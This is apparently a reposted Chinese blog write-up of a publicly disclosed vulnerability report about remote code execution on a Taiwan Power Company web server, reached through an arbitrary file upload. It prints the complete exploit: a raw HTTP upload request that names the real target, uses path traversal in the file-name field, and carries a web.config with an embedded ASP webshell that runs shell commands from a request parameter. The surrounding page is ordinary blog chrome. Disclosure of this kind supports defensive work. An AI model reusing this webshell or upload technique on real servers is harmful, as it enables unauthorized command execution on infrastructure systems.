某电力公司漏洞报告之web.config的rce之旅

admin 2022年11月9日21:33:18安全文章评论28 views2259字阅读7分31秒阅读模式



某电力公司漏洞报告之web.config的rce之旅


某电力公司漏洞报告之web.config的rce之旅



报告来源于某漏洞平台,是已公开的报告。     作者:Kaibro



台湾电力公司某平台RCE



01

叙述


https://ebppsmtp.taipower.com.tw/uploadfile/UploadFile.aspx 存在任意文件上传漏洞,上传文件內容及路径攻击者可控

由于 web目录不在常见路径下,所以沒办法直接写入 webshell

但因为该路径使用短文件名格式,且不存在或无法写入路径会提示上传失败,所以可以穷举目录机构:

- c:/var/  - customers  - delta  - docs  - downloads  - FolderRequest  - export  - images  - import  - list  - logfiles  - quest  - report  - temp  - templates  - update  - uploads  - users  - featur~1  - subscr~1  - unsubs~1  - return~1  - replym~1  - receiv~1
01

上传文件过程


经过研究后发现实体路径c:/var/*下的內容对应到网站路径的 https://ebppsmtp.taipower.com.tw/var/*

由于尝试上传 asp / aspx / asmx 皆未被解析,故改以写入 web.config 方式,成功取得系統控制权限

上傳 web.config webshell:


某电力公司漏洞报告之web.config的rce之旅

执行命令

某电力公司漏洞报告之web.config的rce之旅

执行 ipconfig 确认该机器位于 10.X.X.X 网段

某电力公司漏洞报告之web.config的rce之旅

附带web.config的马

POST /uploadfile/UploadFile.aspx HTTP/1.1Host: ebppsmtp.taipower.com.twCookie: ASP.NET_SessionId=g0mm3f454prtib55g5nwkj45Content-Length: 1354Origin: https://ebppsmtp.taipower.com.twContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryv00ZBQrKTDBA8xQSUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Connection: close
------WebKitFormBoundaryv00ZBQrKTDBA8xQSContent-Disposition: form-data; name="UploadFile"; filename="hi.txt"Content-Type: text/plain
<?xml version="1.0" encoding="UTF-8"?><configuration> <system.webServer> <handlers accessPolicy="Read, Script, Write"> <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%system32inetsrvasp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /> </handlers> <security> <requestFiltering> <fileExtensions> <remove fileExtension=".config" /> </fileExtensions> <hiddenSegments> <remove segment="web.config" /> </hiddenSegments> </requestFiltering> </security> </system.webServer></configuration><!--<%Response.Write("-"&"->")Function GetCommandOutput(command) Set shell = CreateObject("WScript.Shell") Set exec = shell.Exec(command) GetCommandOutput = exec.StdOut.ReadAllEnd FunctionResponse.Write(GetCommandOutput("cmd /c " + Request("cmd")))Response.Write("<!-"&"-")%>-->
------WebKitFormBoundaryv00ZBQrKTDBA8xQSContent-Disposition: form-data; name="UploadFileName"
../../../../../var/uploads/web.config------WebKitFormBoundaryv00ZBQrKTDBA8xQS--


第一次见到web.config的rce,然后去学了一下,原来web.config可以干这么多事情

某电力公司漏洞报告之web.config的rce之旅




往期文章推荐

SRC 挖洞tips
一次src挖洞经历(不是一个)
自己遇到的一些逻辑漏洞
对单一的ip目标测试

从挖src的角度看《某羊》

关于某SRC的一些不是漏洞的挖掘思路分享

关于考cisp-pte的一些复盘



原文始发于微信公众号(虚拟尽头):某电力公司漏洞报告之web.config的rce之旅

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月9日21:33:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  某电力公司漏洞报告之web.config的rce之旅 http://cn-sec.com/archives/1393089.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: